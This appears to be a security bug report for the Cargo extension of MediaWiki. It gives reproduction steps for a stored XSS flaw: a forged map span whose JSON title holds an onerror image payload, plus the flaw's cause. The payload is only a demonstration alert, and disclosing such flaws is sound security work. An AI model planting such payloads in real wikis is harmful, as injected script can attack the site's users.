It's possible to perform stored XSS through wikitext by abusing Cargo's map format.
Reproduction steps
- Create Template:XSS with {{#cargo_declare:_table=XSS|lat=Lat|lon=Lon}}
- Create the table for Template:XSS
- Create another page with the following contents:
== XSS ==
<div class="mapCanvas olMap" style="height: 400px; width: 100%;" id="mapCanvas1">
<span class="cargoMapData" style="display: none" data-mapping-service="OpenLayers">[{"name":1,"title":"<img src=x onerror=alert(1)>","lat":1,"lon":2,"otherValues":{}}]</span>
</div>
== Real Map ==
{{#cargo_store:_table=XSS|lat=1|lon=1}}
{{#cargo_query:
|tables=XSS
|fields=lat,lon
|format=map
}}- Click on the marker in the first map
Cause
Cargo stores the JSON for the map inside a <span>, which can be replicated through wikitext.
In addition to that, the existing span can also be modified using the language converter.
